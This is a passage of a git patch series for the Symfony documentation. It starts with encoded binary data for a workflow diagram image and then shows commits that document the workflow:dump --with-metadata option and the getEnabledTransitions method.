zmq>e_*JoJ#S6yXS*fQgd4}!A`y5-aL7Kfci1*9|{up3r>aG2@136c^I)gK$&&nCsp
zrM+-|xYT(oAj$P(ak+=zD^I>B?{VF07L9nflk4n$`<9qaForPMP<;a(db$%QlZZQ{
zB-!~(xL+^HborS>>twRuBxEC!6&K|cP2fGtdFT*t(2dSS#W27z0?GQ1>TqPgSZ&<r
z68L@xWOaBP4<NjdHO)z27csERCdbUZnIf`bDl!gwl`fP2!(b(bEnEh@C8ReQ#7Y~s
znwiMZ9zq$OYjyF$(dWCPB)7;0OjM9C1GGqZq!3I;^$I@B0xvzxLXt|6jq71i`wbhK
z00X;5X4zuESk`yrI=J}+pggR`-vAhnx<X?}os0YXO%D?8vAl|jH2lc)Cp8t!hokOV
zu0mgJCPHRQAMR<I-`Fnz1qn48w{^A709}4uN!aF3CHb+CRhiMz<ADO;h=9}@K;*Xg
z`C$s0pCME5u_aG#J_rv-iGRNY$b#x+wgyJ!c{o0Ztckt!n9Fp6g}eMXjk6PWMqUR5
zW1LRsF4Ap>aIy5QU%pZweP#Bo@8|wQ;y-qaiZQ=?ZrRPIM>l1?{*Z<k8CZrt>ABrD
z?=uPt-S4M^*gbh5Gn<^Gs-Fn6l!uSiZE$ci$>44A4Un*3g-qrJe#9m}`K$e*o)D-E
z#<7=CHCFx#7F8b)cEi%B>h35CXgMWuIZC_iTtt`IGmURz<Zq{ag>Rg@EW<16K&J5O
z_RS=>mj(H~1U5crk%#XoqJhaRYiV5<z}I&DGp=%w^;CP(C?6*by#YQ9!QL~m3X0}(
zU~*0Ve8m-o9O1D*eqPZHjG!4n;90(IL3|MnK?hT}fD=xJYsRGGa^;%JK(WiK;yL^1
zh_~tjG3WRkvG8(Z`7}miuB(VR%`)uURtb1B@{u8{4>yg^8-!FZCJRGNg$?kl86E4N
zTpq&OTSgr{U!)=<Y|gV8;+&?Zw^um)l;_6?FN<h8ELQ}yGSOuJtgh|B>9Lmkh*|bp
z@h-03u+7%|l|q+i^Tyrvutdjfwk6wqZDsWEU`ulQ1t0RwbYo|+T))MU$3m761t|GA
zzp3)+#Q9inTvT62oIf#UY4!Zi1*%Rk_)&0}gOLc}dZjP$dB7G+^6#3{jb-QEz(g|f
z!#mFRLz!_B0J;$$--$M)_nmh04lls4QLbh_+cg{c(D~k~6~BCUsiIZGjOyrPCFusR
z*H68X<u7^hETdrdP{Q?tOAcZUzl0>7N46SW>jCU+%EI(rGA&c<YoQKSA<u(J+~F*V
zi6}kWQ0j-3Je{^~O6VLX5LJtmyX9-#CRUTdzvxKt)r+KRqWt2+<{bf9eG1{~*MyY(
z4VN&W?fiF`!)ih7Ah2VPE@DFytUM$C2C5Z!pJ`tRvCS2^<r1)w$G>UGBNii%hRl!j
z?4#MlWe1!5>YW@hP`&K};3K7&^CO1gt;AZ*<>G*$mD@O(UdxTIztM*(G~H+D6SFY!
zxNh>^ePxHqYADU0@Z&TM+noY*+v%U||8^P{u4T_n-zlI7w!D<);D^*Z;b~{;dGA^j
z`^fz>a%l5ce&+^=I$mnTo_iaaBVecdMskNH8W_gLjK!d^VZHf=CCfzvonv3KzZr+9
zHn6aMRC()YryJLXw;FTrC;dvdw+F8fSxHZ-d>6ftIE~=?UlX^5w=i7MhpRmNHU_-R
zwOd-P0x7x>+oxT8S&PE&#hj5re+vu<CdNhNvb#!bbgZBNNvzEu>NMg~zfgaF=tChP
zzS$L)H!eEpyVDuUaV#LF7Qxs4mj0~BK|(5uq+qV_-0!bB>8ouVT=KtDWKfE^edlX}
zzjJ{e1!7~k@htf@e5c?_l&~jxERYYCvWjq9p8pJV<Hj~0YWOf#gAD=-7Z^DS$k~~o
zkmdX8*;AUc={Pz_%q=wZ=$7q(vk^MyB|;*xG@81yy-=jeb|T^jbIABk)#zdbbGK1s
zdlXk_Mr&+LM8AUyt=~yX17v$i*51PA$5HXkpyBlF)wQ5Zc4-ypWBMY6Z7#(<<xGTa
z9^9F}?~5ceon(+Hg##FnXVK;PDQ760PeAGu22|!dd6lb8Lo2^u))v#unfG)i?~NI!
zH_KPuZn{5tx5WOJSf4Ci!9uImd*?w8J9FQFuIZ=|#7tiQXX4xy#=wB{x$&1sc|f%`
zsH3L}39cIoC2(6Vr7AV}!bqS|6*m*%<6^k)`G`S@K^>Ct;x!5Fms<LBo6_Xt<^ASk
zT;AD_iqi^grJ$q~9Pgn})iKh-sb1NlP-vHGM22PLQLGqMDX3OGdcZXc;erDFn}09h
zBPrS5(c_m<y}3O4P&%U;z|v%8Zn!NULYddGU?d)Ad`0iPw))~nY~F4LJ+-b+(?i#@
z<)UXsQRFf8v|jEiFIJOkiw&)Jn)&FH%LR&cx4Lfgul;<h*UVEt(TexHxLUURUUYjr
z3oVxmD9-qPemFa<ry{=5Q*7?Dc4TyjP*_l%ZX}BZ$)l)d&WaY?*1-~!c0VcfN4JM`
z;OLgi26W!tWd=12UT@NU#pcAP6iOAd8F6XQ_E`n-22-y(Bey@W{){vYLOjNCgf~A(
zslR<pkUfx9zPETMxT9gow!g~bZElQ&QZJX`mCPuP3yLqRzH0WQ{2PTX?^?IzDvK{u
zz#W{3w{PQ-;uHH=XwgoiTW*)mPw<_w0EvBuy}{|#B$?|Z12mr1-nK%P+p3VXgOO3o
zwA7|g#TNEnKi8hB>LCGYL#o>ViA|vH5G8RSMnV#EZQ|4Gez83HPG@iE(Y0MOY8u>r
z*vP7Mp*e<}LoxH*W%&!ZdpW=8j!cp?;|d5%UrgQxNSG2}1R!vPvA5o|sUmXqgQB-&
zk(UNFR`;+Q9+)OCiPjrHK?SIKQ03;J&1zZAeyeJR+b8YeSJ~6g=SFJ@I6u(Q#QD&3
zzpH<F?s6DZi5k-2U7T0m^x)%xU!!2tWv98~y->0LO4V$!vdr|?oSFLMf_<8OW^h-Q
zTB_tufX2~Go$z+XTNo_i;PcRyP_>k{KiJ#08>>CZ2W-XtG-zYtwm8?Ze2~E6tCKt>
zG6Y5F)=+Ay^84ToC96=?dcehv1iGZ~h>3v@Gxs&~VUuLyR{wC8#--(&=$t2<(d@}S
zlH^<;xVJgRlPNug*Tdbbjs5TIA9&y2-y;>4SYJ=ps1H^LYUFucf40AGbaI*K4`4(B
zJ1$9hR$2z+7H!OQ-hw&+19(odclV9T?aY=hCbC4)ad(?0+s{sI^cg)2W}pOYD5sp_
za<h=_5ONX}kA*3CQ9<pCbz~To<r2Gy8{VMJ{f_Lc3@?X~X1ivR_-tT6q138D4Od_8
z>md4j+q&|1-~cMQJbdx;a*<*$rbLF*)%H}+=n=be0t=6+BSV=QICC$v#vDqaEEAWi
zN`%3Ce!2cOZp(Fax|NQ2uyhD>XHP%$wZxU#nA#S-_I}Y$CC6p7P_U^pMR`Bt;=bk!
zj0VbNVWIUMmi2u$dT*CrnI}@lYwsn~Iy@`3U%k%S>yYN~>aS6??#W?RmSQW2rFb;-
zxc;jhU&ooF016ThB5%-@7$qxhh}-h|K8s`@sr|60%C#VhdbHJ@8*A19%+GKJrDkz&
zgn9$a{HuVrjfTSv>Uq&SxG2^j=xtCI3UjUR%+}LRep$6pEN9ocm2aP}Kbd29KUu1<
z*1n{@dfBN_$jF^S(PNlSRLW>;dEi>6Z(<k!+2IrH?84SxzE9q>J92d^Jl>EjG(#2Z
zV6`h^0F*!iv@?4cRS;M#t=p_>H!<cwzf4nC{K=fA3t)`RAYFs*=B%bN^&gkwju2Z3
z%{-`@Hnfed!&I@mCT3)`=bh7v*|F<pS$q4QoTE8AvYp3gt+<0D=?uH-eu2=f(g%Ce
zr7sQHuWT*sXs=GTbA7+H%Wl(~Yi0O7N2}SkZd?3s0CEDWoNg?a!ELpXwLX?N>J?>q
zkHQJ>#{Jji-oW)zfQsp4u;|hWO)NY(vgEw^;r8MF=wahop`q8q4KPmh9(S{iH5lVL
zwBJQ7>K&SS8qB3>r2X+v?o(h@YV6qBVJCJa=hS8pt$lpxx$Gor_E27Ij)QT1aLZt3
zx1;^s3+#+i>uDpp3*U3B+SWm?<HaTW7M{oLbvXZ4I_^Z^iTa3%K)sYaDKtxf>B=`3
zU<*$G#v}sH+0sxEo{Sh1o_R0VF18jZ+-3!bn+)js)V2h4z+B37o0dXL=HtsXqvT@D
z;*Zki<l9fQAK(y>M}@H_G2jqfh}^5E;lRPCVf7L%MbB&`Ew8<-?#rh-xxcYOzr8X2
zIk~TWwb`qtFTck3VE+e~M04Hk0Gn@l39I$AHF1SXQS8iMR#`0~xVSPC9AgL4a(#GT
z6gW7(YFqxdCx{y8Phy*&t7D$w#WwemJpBj*eZiP(#&Eo|(TOViQRZQWH*P$%&SNLn
z1YW(UZE3X2UeT<x^36;PO}8-Lzc|>w9qze5%euY2a&N8Zb8<Ar=>}Son7j8g(KG2r
z1ips8x7@@xMt8K<zG%tMz15e$13kyz!aPAXN6sFC4S5E50g~}=-27O4r{%5sq0Duy
zE6+ewLp(}@G|cG~gtViCaCBV=BX{^q;nL8OFD?fio(lis(-T++EKh44oc3YotZvOM
zn0yNi6}F#h(0f=lsYQC~UUWu19PM|#f<Y0Ks0#<LpFFYz5aB4|(s66}2+uJ=<i73p
zWYZ?ET$YO8vbK{+!SD@4OY(r?Ykka|Ao3(Y5CY!D`P!A^8OQcJ0apI2H2P!n=&PcK
z!19Dc#Mr^9gh6Y_rSpsA06#Ru2B0Kb2}(`4Et2o9wjHHzNGy+k5<7#VpO01M@6~TR
zTp)xq18S-vKi4C{Yj+AHffh{DnMzZVhk7oH&G+bS@U7zqGX<T%;<K_ep}OczNt#hS
z=g@quOdiBbCLpI#<)|696J%t(1@#D1{C$1b*>qe~8HJC_@kHaEh9_6d`yt-4&%96E
z8%lkl&`VW>@vbsAL@&<v7pCevkNbAz8%bcBqjf0j|C=H_n4;sD+bh4d+I7Pk30PVH
zJpd<K%?qqy*|eL4h_gVqI9kWh1;?ARU+Wvs-zXXi7g8s@V@O(Hpm}!99j`5<GFX89
zs4f)7eKB{V1t2et;NY1aj#Q3w7M|h5eHD2A_=D44zy}M&r?yIALuP3hXTT9_`=eAj
z(d)n^KZe564IyUD4wV-n9@Y-<YK+{css^v0Ii6#6JUZ_10HGgs#FzmF#kc3+l&IIx
zm5#~DDDEM??*6Bs=dF$^zt-maX3ksajC10A{{jy>B7Q7*TOBgQkLS0JKu?iW0lHk_
zeJFxTaS$?$7JM++08T5UmT=GdUvvO7tiU*?;~m4QN@Gvt0Y3ewIiJg_X=hF-v@b1&
z`dD@#bW8EyajJx_wi;*6o}CLAwRG5TiFRM!ZRy!g1zkWxDP|IaC%_H7pyU4KE9Z4Q
zh;(SYKU(N1a~xt!d2)S8BSQfwmRfbD_@Xe}H`{LPE|@BZuRgY4^HfT&)x4LT{T|{`
zDRjmj=RK+8TVUO)<-qFp#C-=8WpMxWd>^xDxgP+YC;_RFOeKxeiluH8c`RO}Dk=6*
zy*`e;4eQFlK#2j9_fvIy0<=nA0}a2KTt}ZCDvdX+4`3ve;5;-lP{vdTD0$l8)aLHB
z!QBlwu_0{k`&;T!Y5{AewdwZu#~D(UCrWC&;EbdRAhSdELJ)FrJjs%^BrCDCaH`t}
zz~1y@bU+cO(?bo^6;s6EBqNq5tr;aEIOf{>>rSBS%wsa*(5*amY62|0WWd#jCv|YM
zYBe8czk_9D2Pr^oA5Z-y6PjFy#X&7-12FEaFvhgvql88t4pbR^9$gbw_6><11*jPF
z4$*wl;T|g%pP}<Q9H;(ots9bK1QjXS-nFq&ysOoe__U=l=xLGYGG*kMNlYRh_O$d`
zSo4V!R1FH!H#NmEm1l<N#>g;^2Us}x4O%(|%wW7CrxV>&M!XI^*fg_ltG5;{=WEuC
zzIQbe0yS1?uA(MQd6o#Mo7|+})V~4+<XdPKQht+Le`_mrME9`_U!h-kjh)RLeWxcx
z+DUi;6S`xSb|vg}OKW0*^ypbZ89}3JcYm7L-(rem$N?^|%&6+b>?ZuST|i1i=4-F;
zbbL7f`4qes)0)wR%ED@+jeDUK;!O%X`Of236L)Y9faF1h`TZ$X;`p113P5|3dv|00
z!jq6R4Ych11!Z|xHT1cQ+>)S2@+pY&5f-dwlHqv^J#b%>fG8vKsJ&fiEQ7QU;Q$;>
z{+yT=3I%k=&;5)w*|_?p8V3%a?bT*3>c`vPs3BPhcUj{RJbqdo%b1pTc25FZ;pVBr
z;SlobGu=x?EjdX`b?)=;%23kJ$p+A)eTExt84Yv$Z+HD+-<bpq%-m>EmDtw=J{czg
z#nsoKki+!d_mOu@)0Uq0vdw-1#VQ;XYB*Iruen%vN!+#gs$MCIMJ3*^7Bx3qKX$y-
zuw$P_<7D_aX~#KGFg4~tV476Ko*q1Xm1JVCOz#znT(_*Df-fJx1?(c#&1|+IC@eJd
zOK+WaS{l+dZ;Q9uG+`-{A;Dz3*T}dTi9YBE=o*aBVOKYWREh0wqZ0_s;kKBLxCfp+
zHbDh=&am2V39GXki1oQ;b76HWy$yBO(?o-k68}%>A7u}tkwDZ$7*f0lcN61ydimwD
zT>WZL-!KJXe3sAjx#BUb>!x%59p`tyHU!!pe~KjC1H3=VXzSQ{I5Y@#H#wtoyNaHB
zzuL#YNP>~^^HASMS{;IY=VYA4{V4Ko;BRVxmV{Ri&A{QN9NKl<{0rz?{#|r?H)|ha
zb<=8^l#zH-ioSK2ae<1TB0M}Dz?QRPd719_N2{x@970dZ_lIxodXM5g!sE$IJaWD+
zN6vR}0b=%0XbdSpdA`d0?$~1aM3|Ck!)y932xhU($8@OA96KX<D)1;>9pCu5vG`a}
zR^3p)xM>HyOhm4*`<n&V^^edNAQhm2^a0LDCHJ27m8tum7lr_EcIhLO{3e%621<Og
zX*A#fABQ84u)fd<u3rmAmuyz-uDa=|s-6Gw2U6e<NCWtm>WDCp841>L*g2QM*Mdr;
zKiSng+#S`fjlx0ta5kqhSPs(0tJoRQ6a;$5PH;u=$bTXwR`8#rMHV6awnP1wBGsU9
zkRNm5jvH7(MzD|30DqzVzdArQ)|-Ewz7rI{IjjE|hrd@)I_nJ$!?<7fQZ$#DePUwG
z&=kk>;v<QCCOcBvU;a8E7evJj4AR#?v~upOtQ|m37c2)jgc-mj)bsR(88F^@_b&PT
zGh}q>*hCn%ulv!BM^p220r+o;Ls0r%1+182XNpXfrSY5lU7r*`ZrQ=dcJ49wP-c<W
zQyxD%Oc7kRX63-S;Mx`nwZSLX9cEtl<Qt8q-8XbwEU}vQ%DLPdF@e~4HQID~ZjGud
zEyrH>sTYj$uz@I246PE`1(ePN0tgDq>kN~V)CdJ`Iy+a@dYI;0?X%u7Vm*O`$6Mti
zktF(KMc3bW%uzgJqV$I?-}JpGE~AmR<~t*t!^<DdTd5G09qnqOy7hg<U;kNcHpZv5
zD9SlM(xWvoIS?oKz&a-uWT}Un&36V%L5W@w{FE{oAB3>$8|)@x$Lp7k87^d7szJR#
zrZw84uZa5s2noYM$E)vSs!JX~T*eD$-DnJDLX{sEHJZot;@DJ=u^}-+^eH4p;A*e7
z>EndpzI@1IYnW_T;gb}wK6TkOv*?gO+A)>1t|geL=6~Ew6cRzYoji&!+7BRci4*tv
zcp*IMIu@vf@_+JxW0mco`eh~r`$JS}kLF+EcoKrvs>kQykHT|?CB|UzSzNQT<EdKH
zm|sYO?o%2nhL_j)i{G8o(&%qe{x|+J7Ls^Gbq-rMV1S!P&ljDi7DNf!4q*(^H6%X#
z#G{^WPvQchs-`7NlFWCwDAn9cvj4@a1V>-_x1!Nf4ZG56_+v>ni(9v{&~}|^`=Ikg
z1M%ngped4K5%dkZ06ab^)W@SsMCUWRDh}bf%Sm_MeNexejIl@z1#K(?712fhq&th^
ze4wgy4XF%+r28#J&`p2qjoWfZq4WHIAB?;=&Cz?S7TJ9722BoK+2BjFtVQA`^H82l
zgNyCzFFRq1xPDn8S$rq?agxo?3QyiT{qI^Xa0ok_iyVL#dks~Eokj=M{v5V%u?)M=
zC-`P_9^wGw|Kb2TkE1p0hOFUz!QK8s6B#3LKgB(OrFl42VV+N+co(<>Yzy`fbk^IP
z`TxK8dId$MZnb+ku@dwx)=~-BN?e9MJmv+&l?!x0)4-+*$54C6kXq}XI^GAaB*;Ek
zLiWM#lTA45D%L@jTosU$8*ix<%G|&O^TNRt@e36WgD+}PJBmC&k^5WV@TNynAvUBV
zur<Hn>fj&H0_M2!+4&nYIznOATY!OLfP|TESF5Bzm6HmK@50Ilvj2t)_K<@UgvxO7
z+5%`AL?E3i;_q-aqC`d5qaRy~KP*1XgmT7G#Wh1B$SlcuyqxKRU|9|u+&>zv8@o_0
zH-*Zi9he+NsE_R}seD>M^fcUIE3o)}07a7W%NM+3^nCQsAAj=B(bn%pKKaZ&$9Gpm
z?|s6SHn-&Q0#wWAad?03`p|ff%>n;A#@OZzS9nh!fAQ>1#72rRf{mnwx<x~eM+_7s
z@dNZ8Z~un)yctfKWrmyxIlKZ<jnMD2=%n<Hxe^xm-)OHK&9n*f?$7uul%pT?7bFwk
z0k|YVn49hnC?k=Omgn9nOqq#^W=(KVXYi0ivxKpj{Ff=*NA^eG1=z`lZ(6HCVTrL=
z1wv;^2xr;sNY@1+18`X=tWSgaWATZ34l{<O`2v_+M^i@k2F&yl=hdUWS-c0Rrtq3J
z5Dk2M^48z97pj?lwp2;5wV2^}6&@{z66^b6Flh>CN{Zu2J8`sDvW^DM#W83K4&cxO
zrE+we523m!loI`WIQ2?f{ANJagtc27+njfn_kRL024up;kNQVD3sA!+_b`B(e#W16
zN{je$w`e%NlCAy5ZY~+8e*Z$5*w&DJ_#!D5-@tQ9+T+KM9nD)5^7zcpM{5SUe9cHt
z5sm{B;*t<7G1|ZF1pr($wmk?QYK-G!@sUTwoI1W9eRO^B(e>R6uG&+e{WZ~}p&AK^
zf+BQK+{X_<Z?W}8Gn|~I0G;N*0x{^;sauI+@kJKL5d6E%NiR}l$9Nvy=EuU_6Eg_U
zPMJ?DIXhG`f2n;B<Z1&8kn<1HK|V~D%m}&%wpS^!y3fwF;Qd>IPbH4lfe^9|x}R)b
z7IpNaS>}Oq7u00~L6{n~zSjas?GM4G;5>POdEf%8IUO4QNU6eV;C*_WBlw=Q_Mu~w
z`{xy6;y0jN-YhX}F<RwTrXa3$vkcrsHl$y0;--AwhoAUtS~;3cE4hFbgtNoZh9L7A
zt;AU_omahMZSv|26;}7DS5NW&yXAA_mcGa>lLiju(6C5j7?z`rJVPOWjuj8t)Jl^N
zeLmi`-UluICXksh1!_r3eXwP*dTQ2=2sFh=1$D4aLz(IX!>wZj|C$9GAP=C0J(*k7
zrbwD!^=k^;Wg6IJUZ*8}HaOnWiSTn+G4l$@!Z!htB=AH}wD!aA87a%f-70*$^c(Zz
zpI@fKiCOAdx9K%nH$MCd4o9*fV1!L%CV4jP#X<+`Zk7eK>8IXS!)b|U)ar76YSnk-
zvvZ3N5@BczF18#;Ew#_!UDn@NS(%Yw@x6=sq0>fl{ZXwnRoR0djuE$eG<)yF1*mhN
zwBmCxxnS6Gqbr7?3Au^S{a-3`K>r2{q2L_wTz?a#ovrSRYcAO*m}P54)+Ng!5Sy*m
zJnFgID$OU5lTEC=pA*^y&5CWxQ&`>YZ(lARkMqBw5t9bnlKi!n>^La;XJtJh=3QT#
zyC-^Vg#KN3o>&s?YRSWmbG$77UiUN!R@Q!{Yd=sJjtBi;p9{YJE+GmL?fz@Ok8U((
z0Tx9fpQiLU(D?Ve6(Wc~Us9aX_}~8+e)lH^R>kq_f5JnQL_sT_4p~ZIbGGq2z~5d2
zC4gwqj%WfOj1(M*7ejiNfw>p~^9Btrr4&P(Gd(;=MhfUI%P4!R!%#-KCin+e0r(pk
zaaFfV2lY!pn^Gl~Um-&E>Q+1Sn691|Uw;j%d0GJ%xHysGG*HTSRu5i9lkXoz`E*d%
zV-Y&C)cGV0pyH?5-6pn%vI6@G<?zdP-zY6iH#NK;LA6v7w1bREaLYHuV}p9DVLjDf
zZPLs|x@zDkF;`_$$T6^G`_%S-l4ID-KiB(xVT{Bo0yYzD#J$v(KOhmr+|`~SHCTQQ
zj6~D#L5|NqY%5xGbse!Z`jP=my$WZUD*$h163#w|CT5hqnCt>41(~~f*e;9b{dHri
zU`bu=bh+_i_G-QGAdr$lhyyB}V`O)B?s>valJiHAGY-Bd#r5~OWNRWT`y!B9sLfA^
zoX%P<H&i01RuJUte_SyYGv<v=^1sNaMwsv`>rKf5$R{UkbC8ch@rfIiAW?Ri-}Mfh
z$mRmNz4m6>xmzJ68aM?-UtK-&0w;`*R>%rF%(RZq=?Y|~ubd>efzGdpBKj_`_M`QM
zfwe1Yp>yZ|XlMD#wcYPo1Smjw+{0?&44fdX^{<0mZxu*+WKk+#2Ne1$fdnUe6=Y<$
zxqd!?syfSAflBxv2PY40Ywn$8T5R)p0wpKpk%$|Op_vbiCVC3X)pExqt++n-dBV<o
zAUemglT21wVi*Av_y7bN1%NzPGOD<9IUe!K8it?02Jd_Di{_qC`;lOkB=~a@wOcG<
zA5aa7S>_q~b2lV1<<DMt*}17{JqVZpLk>{+Cf>NoSS`3Sed!ly{&#^^QulJG98KuS
zQ>QO(t?z)Pr?l1X5#C}0l_fPeImOsB{}<4^=j}#Zrp;2i{c<l0?a}m<$IrI5jh?6C
zZ}<bE$qT8y4L39~z+4<ywv5}60De%*nX@~~2xxO5sHYcfGy-ejd(fR#v}FGPn&lB3
zIx4XE&D8TYrpK}P#Kd(p?4RV@INRshh;1bqoDof2?aNTp|FN+DaG7o2<*M6*{k`gX
zM`W;WK+do}`{^Dy($})sDR`*3*qom?Ys#*vV=JcW?R1HU4(495!zU*fV2^N6O$cBj
zzr3@&zyK_*jH(fQL2_w!=Xkcrafu?6Y*k?IgaH_(0pb*8ssfGsz62<8A9mx<TbkBn
zE8lgD1Q?X_p~&}DO-ju-48IU?$Cyu&+Woq}GyBBWTKMD!9&DB8+|kO=G4d$6my=!9
zR#Grq9rd_)Bfx><t)ylhRduOIQo!Mgc&T;SM%_|Saf<%oyI)zVjx`f-q!r&HsEt=c
zc5eV9WJ9C)d{n~G$o$VKe`f~Fz_3^75`8n5m{fi>Qma^_m!#TftJOkAz>^L};4}L@
zMi_w+Yz92k{>m_%EOhD{{wGVUZu~end(Cvox5sZv=7NFgm#CnYS+Q~2sZ@Wx>3}<r
z$A+ja86UKXr-WiF{Ap)Me<!O*8Pvno)!yT2k#<|RzaeQcDe{q)1mnOv2GpY6l5Zf{
zc6U}j->OZj_xLUa<M4QCe#xjTvzD{9gFO`KV~7>VAN5j@Z|+oe3zCmP@NuB#Bhcmg
z_Ogn^`VBoG(L)E}kZae{gd9^i;$>a7`6S~|_Gj+=wELT|5wFWDNOJXb8bVm{GNy~z
zV5I2+C5si`0mQ?h%|+p=l-%wQ%LHYC9!n$Vjdn{0rm$K~HwQv;>A_Fky!PzePp(p*
z4T?~-3E}f+;?@eZTt~FguCu3W*0(68iO5*+duN+m?|%LHt4W&QyG^_c37xji94-8x
z5P3eTWW5q=t!(}B_x`qnFHa6G0|O$4?Mr7bN+#=l0bxlJ-{t<nd&{)SNf5T%Kx4cR
zzs2&#%TX^!@p!c-6-%2m-*14oV{~maQa~nV1X-F(gJ??dDBg!eeiU`?kf12vwRDv6
zTtDTR_K91YuK)b9c8Bz?Q}Kph6a)2$gb)^Al)Oc8iuha~?8hMCrj{kqRz<XkuZ{{%
zhU{5^eFsq0mnHH&6ph-|!>JGqniEcq*r~#I5syO-N|ePO+>dvyd7jxjcX1r+I)`_5
zr!IM6Y}Z0ygvf(nIrKNX!`c4W9h+{iCmzMKg=};AJ6S$_dzOiJu6O<IhpNkh@!{=3
z9S!|U?DvWq-_QSI=Z_~Yvy{0T&-UIrfE-ulWHRlT0J(<mTYSPyI(rTD;C^zOl;}sV
zF5MaCikyO8qh|I2EDaZ{oPrGQx3{}-^U321VY4-5o+n;+4KlSZI)6$NH(#%8DJw#)
z%822z8OgyL`U>0(3hpkOg%M?o-wf0H;ln)4+Wqjt13lIW-4xf}OLXsQZbgRCP|pwF
zl0e2c4~bWO5)=>z_eGxWt%;%oZrmm&vbLDE<8wE?R%O;op&Pc=Q>!9!O%r||zVH0%
z>3Y)_wa0{gUy$F{O|PE2$evcxlr8>?r&k;!lG#n0`A4O+w&%BifRNC1=%BGgQ*C*4
z&yv!2ABpiu^9R<p&XHPrmi4?XD(IYHM;ecQBF{vtKZ64$=e%l(=l3)FM3=V!W7U}^
z@FVH#PAy~aZj|Ry6!Dr23%4Z=ZFU=ZZ9E1vqt^IO<?d?&v8h;{l<(eub#riiM+O{u
zg|(BzvMJyq&2rKQ19IBL;{`vZ?{b#_&=r-VlW!Yb_=v`zcqz6-Z4vhZeOq;DlI$-4
zm|bxt^bcU!xVbevTPf<a#4m@oq*eCqu};4GTbrQwdVOiiSKV>Ju6F*fnmCbz`NqmJ
z)*!zbG!w|=et%NEVp(mm%%@e>H327#Uq*}4rpR~{-*TGgTGX>88_lFV&^D?eYxQ?*
zp4n?^)Ge0VwJvsn^ubH`#<z^0gJe3&30g)Q7?R;<*@vYvUd16*s=2k@yOO)Q5?4tL
zj0`xcMtE;m#1pR!4SDq*%767-FdVd$n`D|<{KoxvaNJ;UhWJdek-=%CCwliGBtcnX
zr3`ckAZm_c)BcoSsCIRK>|qE?=lsSXYohZfKjj|_hBC^x&Ptr&Q|Gx@#TgdVxg+v5
zR-8{=<1tb)61<!4p-EWv=jSWg3Cp`#0m>HS8q>OdgGOJ=@P($!{d-SW=&0=%nhf{|
zk56BH5t97N+CFida+a{cQbH8ko2``bgZIZ7n?))t^Vfpay)&mBUcB1N#UIIfs(F~Z
z_>onEqdn(3p@ftAv>nC4<F<FzR%E@6Xn^*20WL7r)^%Rhc1c1M%~TUn2aRX@9^I@)
zmp&f$qu6pH4Eku%C(18@sgp$GS~i)a{kpRLxoYWai*k+yn(phkAO0r5?P!>PZrG7~
zv5WbC`+71w?{7SM0pih`Trx)~q*=>yG6>(Ai6_jjxKp*li7Unt+w49ybD-l0vxV?!
zv-ID8Q@c-KP0N{&0@X1u3*)(w&)~V_L0!NUByd&%8PWv6%xj-to)2+prxTM|sFqPy
zt^yz5IuJSN5Hg#l5RS^RaMsfP@Gs5Af>J2uQ<*O~N2{5BY-l&@l<eTInAiSYrbOg1
za4s6R@8jaxYK?2WUxb6L>`slbAQo_)395VTPwH)u%Z@(gZ!C=ml_Au1_0z{`_`hGi
zPK0cHwtUI?xO#t_rH{kU@#LDG{;yjgf9(o~Q5EmIoPS)^M!=fz1g3cS`M5kK(f@uX
z3_McU$(a85OW^2V{r5`V&mnzfxx{t~8Q_1nKz=E&3afNo->LG&|Cu1Xegr>%&S)n2
z|N5#~D2vA=&IkAX@0-B=NL1kGkJ1Qn|Ihq`P8?5c`_O^pJKfrw@az-tpMs2vG=La<
F{vYQ)U`hZ0

literal 0
HcmV?d00001

diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index 3d5b9ed194e..8262fefd6c1 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -65,6 +65,21 @@ files and ``PlantUmlDumper`` to create the PlantUML files::
 Styling
 -------
 
+You can use ``--with-metadata`` option in the ``workflow:dump`` command to include places, transitions and
+workflow's metadata.
+
+The DOT image will look like this :
+
+.. image:: /_images/components/workflow/blogpost_metadata.png
+
+.. note::
+
+    The ``--with-metadata`` option only works for the DOT dumper for now.
+
+.. note::
+
+    The ``label`` metadata is not included in the dumped metadata, because it is used as a place's title.
+
 You can use ``metadata`` with the following keys to style the workflow:
 
 * for places:

From f1c0f132500f15e2ef5c1dcc5d54db982278eebe Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 9 Dec 2023 11:05:08 +0100
Subject: [PATCH 5488/7107] -

---
 workflow/dumping-workflows.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index 8262fefd6c1..d31b1eb15a8 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -80,6 +80,10 @@ The DOT image will look like this :
 
     The ``label`` metadata is not included in the dumped metadata, because it is used as a place's title.
 
+.. versionadded:: 6.4
+
+    The ``--with-metadata`` option was introduced in Symfony 6.4.
+
 You can use ``metadata`` with the following keys to style the workflow:
 
 * for places:

From ca09716046bd2bf2ccc74e191395e4b26cabd93a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 9 Dec 2023 11:23:04 +0100
Subject: [PATCH 5489/7107] -

---
 workflow/dumping-workflows.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index d31b1eb15a8..8262fefd6c1 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -80,10 +80,6 @@ The DOT image will look like this :
 
     The ``label`` metadata is not included in the dumped metadata, because it is used as a place's title.
 
-.. versionadded:: 6.4
-
-    The ``--with-metadata`` option was introduced in Symfony 6.4.
-
 You can use ``metadata`` with the following keys to style the workflow:
 
 * for places:

From 1601f09e61fb7b216eab6f09c43c7bb59841e62b Mon Sep 17 00:00:00 2001
From: Jade Xau <98119101+ChibyJade@users.noreply.github.com>
Date: Sat, 9 Dec 2023 12:21:01 +0100
Subject: [PATCH 5490/7107] Add getEnabledTransition() method

---
 workflow.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index de69ef6ae73..eb824cc4531 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -310,6 +310,15 @@ machine type, use ``camelCased workflow name + StateMachine``::
         }
     }
 
+To get all enabled transitions of a Workflow, you can use
+:method:`Symfony\\Component\\Workflow\\WorkflowInterface::getEnabledTransitions`
+method.
+
+.. versionadded:: 7.1
+
